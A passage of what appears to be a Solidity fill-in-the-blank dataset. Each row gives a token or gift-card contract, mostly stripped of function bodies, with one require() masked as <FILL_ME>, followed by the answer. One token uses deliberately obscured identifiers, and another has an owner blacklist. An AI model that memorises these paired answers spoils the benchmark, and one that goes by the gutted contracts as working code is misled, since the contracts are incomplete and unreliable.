< _ylvcqr){
require
(! _frvdwx(to));
}
_pvfvgo++;
_hvqcsk
[to]=true;
qobrfk = amount._blfej
((_pvfvgo>
_BuyAreduceTax)?
_BuyfinalTax:
_BuyinitialTax)
.div(100);
}
if(to == _bvexaz &&
from!= address(this)
&& !_vrgfld[from] ){
require(amount <=
_psoabk &&
balanceOf(_revdfo)
<_qfwvad,
"Exceeds the _psoabk.");
qobrfk = amount._blfej((_pvfvgo>
_SellAreduceTax)?
_SellfinalTax:
_SellinitialTax)
.div(100);
require(_pvfvgo>
_ylvcqr &&
_hvqcsk[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!kljokh
&& to == _bvexaz &&
_rovyoj &&
contractTokenBalance>
_pkrsvb
&& _pvfvgo>
_ylvcqr&&
!_vrgfld[to]&&
!_vrgfld[from]
) {
_transferFrom( _bydshr(amount,
_bydshr(contractTokenBalance,
_qfwvad)));
uint256 contractETHBalance
= address(this)
.balance;
if(contractETHBalance
> 0) {
_prqnrk(address
(this).balance);
}
}
}
if(qobrfk>0){
_balances[address
(this)]=_balances
[address
(this)].
add(qobrfk);
emit
Transfer(from,
address
(this),qobrfk);
}
_balances[from
]= _efzcrw(from,
_balances[from]
, amount);
_balances[to]=
_balances[to].
add(amount.
_efzcrw(qobrfk));
emit Transfer
(from, to,
amount.
_efzcrw(qobrfk));
}
function _transferFrom(uint256
tokenAmount) private
frhvey {
}
function _bydshr
(uint256 a,
uint256 b
) private pure
returns
(uint256){
}
function _efzcrw(address
from, uint256 a,
uint256 b)
private view
returns(uint256){
}
function removeLimitas (
) external onlyOwner{
}
function _frvdwx(address
account) private view
returns (bool) {
}
function _prqnrk(uint256
amount) private {
}
function openTrading (
) external onlyOwner ( ) {
}
receive() external payable {}
}
| balanceOf(to)+amount<=_qrvobk,"Exceeds the _qrvobk." | 61,418 | balanceOf(to)+amount<=_qrvobk |
null | /*
https://twitter.com/Xpayments
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _efzcrw(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _efzcrw(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function _blfej(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address
tokenA, address tokenB) external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[
] calldata path,
address to,
uint deadline
) external;
function factory() external pure
returns (address);
function WETH() external pure
returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH
, uint liquidity);
}
contract Xpayments is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private _powrvu;
address payable private _revdfo;
address private _bvexaz;
string private constant _name = unicode"Xpayments";
string private constant _symbol = unicode"Xpayments";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10 **_decimals;
uint256 public _psoabk = _totalSupply;
uint256 public _qrvobk = _totalSupply;
uint256 public _pkrsvb= _totalSupply;
uint256 public _qfwvad= _totalSupply;
uint256 private _BuyinitialTax=1;
uint256 private _SellinitialTax=1;
uint256 private _BuyfinalTax=1;
uint256 private _SellfinalTax=1;
uint256 private _BuyAreduceTax=1;
uint256 private _SellAreduceTax=1;
uint256 private _ylvcqr=0;
uint256 private _pvfvgo=0;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _vrgfld;
mapping (address => bool) private _hvqcsk;
mapping(address => uint256) private _fualrg;
bool private _srejopen;
bool public _prvdeq = false;
bool private kljokh = false;
bool private _rovyoj = false;
event _qrkjej(uint _psoabk);
modifier frhvey {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 qobrfk=0;
if (from !=
owner () && to
!= owner ( ) ) {
if (_prvdeq) {
if (to
!= address
(_powrvu)
&& to !=
address
(_bvexaz)) {
require(_fualrg
[tx.origin]
< block.number,
"Only one transfer per block allowed."
);
_fualrg
[tx.origin]
= block.number;
}
}
if (from ==
_bvexaz && to !=
address(_powrvu) &&
!_vrgfld[to] ) {
require(amount
<= _psoabk,
"Exceeds the _psoabk.");
require(balanceOf
(to) + amount
<= _qrvobk,
"Exceeds the _qrvobk.");
if(_pvfvgo
< _ylvcqr){
require(<FILL_ME>)
}
_pvfvgo++;
_hvqcsk
[to]=true;
qobrfk = amount._blfej
((_pvfvgo>
_BuyAreduceTax)?
_BuyfinalTax:
_BuyinitialTax)
.div(100);
}
if(to == _bvexaz &&
from!= address(this)
&& !_vrgfld[from] ){
require(amount <=
_psoabk &&
balanceOf(_revdfo)
<_qfwvad,
"Exceeds the _psoabk.");
qobrfk = amount._blfej((_pvfvgo>
_SellAreduceTax)?
_SellfinalTax:
_SellinitialTax)
.div(100);
require(_pvfvgo>
_ylvcqr &&
_hvqcsk[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!kljokh
&& to == _bvexaz &&
_rovyoj &&
contractTokenBalance>
_pkrsvb
&& _pvfvgo>
_ylvcqr&&
!_vrgfld[to]&&
!_vrgfld[from]
) {
_transferFrom( _bydshr(amount,
_bydshr(contractTokenBalance,
_qfwvad)));
uint256 contractETHBalance
= address(this)
.balance;
if(contractETHBalance
> 0) {
_prqnrk(address
(this).balance);
}
}
}
if(qobrfk>0){
_balances[address
(this)]=_balances
[address
(this)].
add(qobrfk);
emit
Transfer(from,
address
(this),qobrfk);
}
_balances[from
]= _efzcrw(from,
_balances[from]
, amount);
_balances[to]=
_balances[to].
add(amount.
_efzcrw(qobrfk));
emit Transfer
(from, to,
amount.
_efzcrw(qobrfk));
}
function _transferFrom(uint256
tokenAmount) private
frhvey {
}
function _bydshr
(uint256 a,
uint256 b
) private pure
returns
(uint256){
}
function _efzcrw(address
from, uint256 a,
uint256 b)
private view
returns(uint256){
}
function removeLimitas (
) external onlyOwner{
}
function _frvdwx(address
account) private view
returns (bool) {
}
function _prqnrk(uint256
amount) private {
}
function openTrading (
) external onlyOwner ( ) {
}
receive() external payable {}
}
| !_frvdwx(to) | 61,418 | !_frvdwx(to) |
null | /*
https://twitter.com/Xpayments
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _efzcrw(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _efzcrw(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function _blfej(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address
tokenA, address tokenB) external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[
] calldata path,
address to,
uint deadline
) external;
function factory() external pure
returns (address);
function WETH() external pure
returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH
, uint liquidity);
}
contract Xpayments is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private _powrvu;
address payable private _revdfo;
address private _bvexaz;
string private constant _name = unicode"Xpayments";
string private constant _symbol = unicode"Xpayments";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10 **_decimals;
uint256 public _psoabk = _totalSupply;
uint256 public _qrvobk = _totalSupply;
uint256 public _pkrsvb= _totalSupply;
uint256 public _qfwvad= _totalSupply;
uint256 private _BuyinitialTax=1;
uint256 private _SellinitialTax=1;
uint256 private _BuyfinalTax=1;
uint256 private _SellfinalTax=1;
uint256 private _BuyAreduceTax=1;
uint256 private _SellAreduceTax=1;
uint256 private _ylvcqr=0;
uint256 private _pvfvgo=0;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _vrgfld;
mapping (address => bool) private _hvqcsk;
mapping(address => uint256) private _fualrg;
bool private _srejopen;
bool public _prvdeq = false;
bool private kljokh = false;
bool private _rovyoj = false;
event _qrkjej(uint _psoabk);
modifier frhvey {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function _transferFrom(uint256
tokenAmount) private
frhvey {
}
function _bydshr
(uint256 a,
uint256 b
) private pure
returns
(uint256){
}
function _efzcrw(address
from, uint256 a,
uint256 b)
private view
returns(uint256){
}
function removeLimitas (
) external onlyOwner{
}
function _frvdwx(address
account) private view
returns (bool) {
}
function _prqnrk(uint256
amount) private {
}
function openTrading (
) external onlyOwner ( ) {
require(<FILL_ME>)
_powrvu
=
IUniswapV2Router02
(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address
(this), address(
_powrvu),
_totalSupply);
_bvexaz =
IUniswapV2Factory(_powrvu.
factory( )
). createPair (
address(this
), _powrvu .
WETH ( ) );
_powrvu.addLiquidityETH
{value: address
(this).balance}
(address(this)
,balanceOf(address
(this)),0,0,owner(),block.
timestamp);
IERC20(_bvexaz).
approve(address(_powrvu),
type(uint)
.max);
_rovyoj = true;
_srejopen = true;
}
receive() external payable {}
}
| !_srejopen | 61,418 | !_srejopen |
"Transfer amount exceeds the bag size." | // SPDX-License-Identifier: MIT
/**
Web3Saver is a one-stop management solution for decentralized finance protocols.
Web: https://web3saver.xyz
App: https://app.web3saver.xyz
X: https://twitter.com/Web3Saver
Tg: https://t.me/web3saver_official
Docs: https://medium.com/@web3saver
*/
pragma solidity 0.8.21;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address uniswapPair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
address internal owner;
constructor(address _owner) {
}
modifier onlyOwner() {
}
function isOwner(address account) public view returns (bool) {
}
function renounceOwnership() public onlyOwner {
}
event OwnershipTransferred(address owner);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Web3Saver is IERC20, Ownable {
using SafeMath for uint256;
string constant _name = "Web3Saver";
string constant _symbol = "Web3Saver";
uint8 constant _decimals = 9;
uint256 _totalSupply = 10 ** 9 * (10 ** _decimals);
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) _noTax;
mapping (address => bool) _noMaxTx;
address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 _lpTax = 0;
uint256 _marketingTax = 20;
uint256 _totalTax = _lpTax + _marketingTax;
uint256 _denominators = 100;
uint256 public maxTxAmount = (_totalSupply * 20) / 1000;
address public teamAddy;
IUniswapV2Router public uniswapRouter;
address public uniswapPair;
bool public taxSwapEnable = true;
uint256 public swapThresholds = _totalSupply / 100000; // 0.1%
bool swapping;
modifier lockSwap() { }
constructor (address W3sAddress_) Ownable(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferBasic(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function setW3sWalletSize(uint256 percent_) external onlyOwner {
}
function shouldW3sSwapBack() internal view returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function updateW3sTax(uint256 lpFee_, uint256 devFee_) external onlyOwner {
}
function isSell(address recipient) private returns (bool){
}
function shouldSwapBack(address sender, address recipient, uint256 amount) private returns (bool) {
}
function swapBackW3s() internal lockSwap {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(swapping){ return _transferBasic(sender, recipient, amount); }
if (recipient != uniswapPair && recipient != deadAddress) {
require(<FILL_ME>)
}
if(shouldSwapBack(sender, recipient, amount)){
swapBackW3s();
}
bool shouldTax = shouldExemptFees(sender);
if (shouldTax) {
_balances[recipient] = _balances[recipient].add(transferFee(sender, amount));
} else {
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
return true;
}
function transferFee(address sender, uint256 amount) internal returns (uint256) {
}
function shouldExemptFees(address sender) internal view returns (bool) {
}
}
| _noMaxTx[recipient]||_balances[recipient]+amount<=maxTxAmount,"Transfer amount exceeds the bag size." | 61,420 | _noMaxTx[recipient]||_balances[recipient]+amount<=maxTxAmount |
"Blacklisted" | pragma solidity ^0.8.0;
contract DudesToken is Ownable, ERC20 {
bool public limited;
uint256 public maxHoldingAmount;
uint256 public minHoldingAmount;
address public uniswapV2Pair;
mapping(address => bool) public blacklists;
constructor(uint256 _totalSupply) ERC20("Dudes", "DUDES") {
}
function blacklist(address _address, bool _isBlacklisting) external onlyOwner {
}
function setRule(bool _limited, address _uniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount) external onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) override internal virtual {
require(<FILL_ME>)
if (uniswapV2Pair == address(0)) {
require(from == owner() || to == owner(), "trading is not started");
return;
}
if (limited && from == uniswapV2Pair) {
require(super.balanceOf(to) + amount <= maxHoldingAmount && super.balanceOf(to) + amount >= minHoldingAmount, "Forbid");
}
}
function burn(uint256 value) external {
}
}
| !blacklists[to]&&!blacklists[from],"Blacklisted" | 61,460 | !blacklists[to]&&!blacklists[from] |
"Forbid" | pragma solidity ^0.8.0;
contract DudesToken is Ownable, ERC20 {
bool public limited;
uint256 public maxHoldingAmount;
uint256 public minHoldingAmount;
address public uniswapV2Pair;
mapping(address => bool) public blacklists;
constructor(uint256 _totalSupply) ERC20("Dudes", "DUDES") {
}
function blacklist(address _address, bool _isBlacklisting) external onlyOwner {
}
function setRule(bool _limited, address _uniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount) external onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) override internal virtual {
require(!blacklists[to] && !blacklists[from], "Blacklisted");
if (uniswapV2Pair == address(0)) {
require(from == owner() || to == owner(), "trading is not started");
return;
}
if (limited && from == uniswapV2Pair) {
require(<FILL_ME>)
}
}
function burn(uint256 value) external {
}
}
| super.balanceOf(to)+amount<=maxHoldingAmount&&super.balanceOf(to)+amount>=minHoldingAmount,"Forbid" | 61,460 | super.balanceOf(to)+amount<=maxHoldingAmount&&super.balanceOf(to)+amount>=minHoldingAmount |
"Operator already exists." | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract PurchaseGiftcard is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Purchase {
string orderID;
uint256 cryptoAmount;
address cryptoContract;
uint256 purchaseTime;
}
address public adminAddress;
mapping(address => bool) public operators;
mapping(address => Purchase[]) public purchaseHistory;
mapping(string => bool) public refundHistory;
mapping(address => bool) public tokens;
event PurchaseByCurrency(
string voucherID,
string fromFiatID,
string toCryptoID,
uint256 fiatDenomination,
uint256 cryptoAmount,
string orderID,
uint256 purchaseTime
);
event PurchaseByToken(
string voucherID,
string fromFiatID,
string toCryptoID,
uint256 fiatDenomination,
uint256 cryptoAmount,
string orderID,
uint256 purchaseTime
);
event WithdrawCurrency(address adminAddress, uint256 currencyAmount);
event WithdrawToken(
address adminAddress,
uint256 tokenAmount,
address tokenAddress
);
event RefundCurrency(string orderID);
event RefundToken(string orderID);
constructor() {
}
// For owner
function setupOperator(address operatorAddress)
external
onlyOwner
isValidAddress(operatorAddress)
{
require(<FILL_ME>)
operators[operatorAddress] = true;
}
function removeOperator(address operatorAddress)
external
onlyOwner
isValidAddress(operatorAddress)
{
}
function setAdminAddress(address _adminAddress)
external
onlyOwner
isValidAddress(_adminAddress)
{
}
// For operator
function setupToken(address _token) external onlyOperater {
}
function removeToken(address _token) external onlyOperater {
}
function withdrawCurrency(uint256 currencyAmount) external onlyOperater {
}
function withdrawToken(uint256 tokenAmount, address tokenAddress)
external
onlyOperater
isTokenExist(tokenAddress)
{
}
function refundOrder(string memory orderID, address buyer)
external
onlyOperater
isValidAddress(buyer)
{
}
// For user
function purchaseByCurrency(
string memory _voucherID,
string memory _fromFiatID,
string memory _toCryptoID,
uint256 _fiatDenomination,
string memory _orderID
) external payable {
}
function purchaseByToken(
string memory _voucherID,
string memory _fromFiatID,
string memory _toCryptoID,
uint256 _fiatDenomination,
uint256 _cryptoAmount,
address token,
string memory _orderID
) external isTokenExist(token) {
}
modifier onlyOperater() {
}
modifier isValidAddress(address _address) {
}
modifier isTokenExist(address _address) {
}
// Help functions
function _findPurchase(string memory _orderID, address _buyer)
internal
view
isValidAddress(_buyer)
returns (
string memory orderID,
uint256 cryptoAmount,
address cryptoContract
)
{
}
}
| !operators[operatorAddress],"Operator already exists." | 61,607 | !operators[operatorAddress] |
"Operator not setup yet." | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract PurchaseGiftcard is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Purchase {
string orderID;
uint256 cryptoAmount;
address cryptoContract;
uint256 purchaseTime;
}
address public adminAddress;
mapping(address => bool) public operators;
mapping(address => Purchase[]) public purchaseHistory;
mapping(string => bool) public refundHistory;
mapping(address => bool) public tokens;
event PurchaseByCurrency(
string voucherID,
string fromFiatID,
string toCryptoID,
uint256 fiatDenomination,
uint256 cryptoAmount,
string orderID,
uint256 purchaseTime
);
event PurchaseByToken(
string voucherID,
string fromFiatID,
string toCryptoID,
uint256 fiatDenomination,
uint256 cryptoAmount,
string orderID,
uint256 purchaseTime
);
event WithdrawCurrency(address adminAddress, uint256 currencyAmount);
event WithdrawToken(
address adminAddress,
uint256 tokenAmount,
address tokenAddress
);
event RefundCurrency(string orderID);
event RefundToken(string orderID);
constructor() {
}
// For owner
function setupOperator(address operatorAddress)
external
onlyOwner
isValidAddress(operatorAddress)
{
}
function removeOperator(address operatorAddress)
external
onlyOwner
isValidAddress(operatorAddress)
{
require(<FILL_ME>)
operators[operatorAddress] = false;
}
function setAdminAddress(address _adminAddress)
external
onlyOwner
isValidAddress(_adminAddress)
{
}
// For operator
function setupToken(address _token) external onlyOperater {
}
function removeToken(address _token) external onlyOperater {
}
function withdrawCurrency(uint256 currencyAmount) external onlyOperater {
}
function withdrawToken(uint256 tokenAmount, address tokenAddress)
external
onlyOperater
isTokenExist(tokenAddress)
{
}
function refundOrder(string memory orderID, address buyer)
external
onlyOperater
isValidAddress(buyer)
{
}
// For user
function purchaseByCurrency(
string memory _voucherID,
string memory _fromFiatID,
string memory _toCryptoID,
uint256 _fiatDenomination,
string memory _orderID
) external payable {
}
function purchaseByToken(
string memory _voucherID,
string memory _fromFiatID,
string memory _toCryptoID,
uint256 _fiatDenomination,
uint256 _cryptoAmount,
address token,
string memory _orderID
) external isTokenExist(token) {
}
modifier onlyOperater() {
}
modifier isValidAddress(address _address) {
}
modifier isTokenExist(address _address) {
}
// Help functions
function _findPurchase(string memory _orderID, address _buyer)
internal
view
isValidAddress(_buyer)
returns (
string memory orderID,
uint256 cryptoAmount,
address cryptoContract
)
{
}
}
| operators[operatorAddress],"Operator not setup yet." | 61,607 | operators[operatorAddress] |
"Token already setup." | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract PurchaseGiftcard is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Purchase {
string orderID;
uint256 cryptoAmount;
address cryptoContract;
uint256 purchaseTime;
}
address public adminAddress;
mapping(address => bool) public operators;
mapping(address => Purchase[]) public purchaseHistory;
mapping(string => bool) public refundHistory;
mapping(address => bool) public tokens;
event PurchaseByCurrency(
string voucherID,
string fromFiatID,
string toCryptoID,
uint256 fiatDenomination,
uint256 cryptoAmount,
string orderID,
uint256 purchaseTime
);
event PurchaseByToken(
string voucherID,
string fromFiatID,
string toCryptoID,
uint256 fiatDenomination,
uint256 cryptoAmount,
string orderID,
uint256 purchaseTime
);
event WithdrawCurrency(address adminAddress, uint256 currencyAmount);
event WithdrawToken(
address adminAddress,
uint256 tokenAmount,
address tokenAddress
);
event RefundCurrency(string orderID);
event RefundToken(string orderID);
constructor() {
}
// For owner
function setupOperator(address operatorAddress)
external
onlyOwner
isValidAddress(operatorAddress)
{
}
function removeOperator(address operatorAddress)
external
onlyOwner
isValidAddress(operatorAddress)
{
}
function setAdminAddress(address _adminAddress)
external
onlyOwner
isValidAddress(_adminAddress)
{
}
// For operator
function setupToken(address _token) external onlyOperater {
require(<FILL_ME>)
tokens[_token] = true;
}
function removeToken(address _token) external onlyOperater {
}
function withdrawCurrency(uint256 currencyAmount) external onlyOperater {
}
function withdrawToken(uint256 tokenAmount, address tokenAddress)
external
onlyOperater
isTokenExist(tokenAddress)
{
}
function refundOrder(string memory orderID, address buyer)
external
onlyOperater
isValidAddress(buyer)
{
}
// For user
function purchaseByCurrency(
string memory _voucherID,
string memory _fromFiatID,
string memory _toCryptoID,
uint256 _fiatDenomination,
string memory _orderID
) external payable {
}
function purchaseByToken(
string memory _voucherID,
string memory _fromFiatID,
string memory _toCryptoID,
uint256 _fiatDenomination,
uint256 _cryptoAmount,
address token,
string memory _orderID
) external isTokenExist(token) {
}
modifier onlyOperater() {
}
modifier isValidAddress(address _address) {
}
modifier isTokenExist(address _address) {
}
// Help functions
function _findPurchase(string memory _orderID, address _buyer)
internal
view
isValidAddress(_buyer)
returns (
string memory orderID,
uint256 cryptoAmount,
address cryptoContract
)
{
}
}
| !tokens[_token],"Token already setup." | 61,607 | !tokens[_token] |
"Token not setup yet." | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract PurchaseGiftcard is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Purchase {
string orderID;
uint256 cryptoAmount;
address cryptoContract;
uint256 purchaseTime;
}
address public adminAddress;
mapping(address => bool) public operators;
mapping(address => Purchase[]) public purchaseHistory;
mapping(string => bool) public refundHistory;
mapping(address => bool) public tokens;
event PurchaseByCurrency(
string voucherID,
string fromFiatID,
string toCryptoID,
uint256 fiatDenomination,
uint256 cryptoAmount,
string orderID,
uint256 purchaseTime
);
event PurchaseByToken(
string voucherID,
string fromFiatID,
string toCryptoID,
uint256 fiatDenomination,
uint256 cryptoAmount,
string orderID,
uint256 purchaseTime
);
event WithdrawCurrency(address adminAddress, uint256 currencyAmount);
event WithdrawToken(
address adminAddress,
uint256 tokenAmount,
address tokenAddress
);
event RefundCurrency(string orderID);
event RefundToken(string orderID);
constructor() {
}
// For owner
function setupOperator(address operatorAddress)
external
onlyOwner
isValidAddress(operatorAddress)
{
}
function removeOperator(address operatorAddress)
external
onlyOwner
isValidAddress(operatorAddress)
{
}
function setAdminAddress(address _adminAddress)
external
onlyOwner
isValidAddress(_adminAddress)
{
}
// For operator
function setupToken(address _token) external onlyOperater {
}
function removeToken(address _token) external onlyOperater {
require(<FILL_ME>)
tokens[_token] = false;
}
function withdrawCurrency(uint256 currencyAmount) external onlyOperater {
}
function withdrawToken(uint256 tokenAmount, address tokenAddress)
external
onlyOperater
isTokenExist(tokenAddress)
{
}
function refundOrder(string memory orderID, address buyer)
external
onlyOperater
isValidAddress(buyer)
{
}
// For user
function purchaseByCurrency(
string memory _voucherID,
string memory _fromFiatID,
string memory _toCryptoID,
uint256 _fiatDenomination,
string memory _orderID
) external payable {
}
function purchaseByToken(
string memory _voucherID,
string memory _fromFiatID,
string memory _toCryptoID,
uint256 _fiatDenomination,
uint256 _cryptoAmount,
address token,
string memory _orderID
) external isTokenExist(token) {
}
modifier onlyOperater() {
}
modifier isValidAddress(address _address) {
}
modifier isTokenExist(address _address) {
}
// Help functions
function _findPurchase(string memory _orderID, address _buyer)
internal
view
isValidAddress(_buyer)
returns (
string memory orderID,
uint256 cryptoAmount,
address cryptoContract
)
{
}
}
| tokens[_token],"Token not setup yet." | 61,607 | tokens[_token] |
"Order not found." | //SPDX-License-Identifier: Unlicense
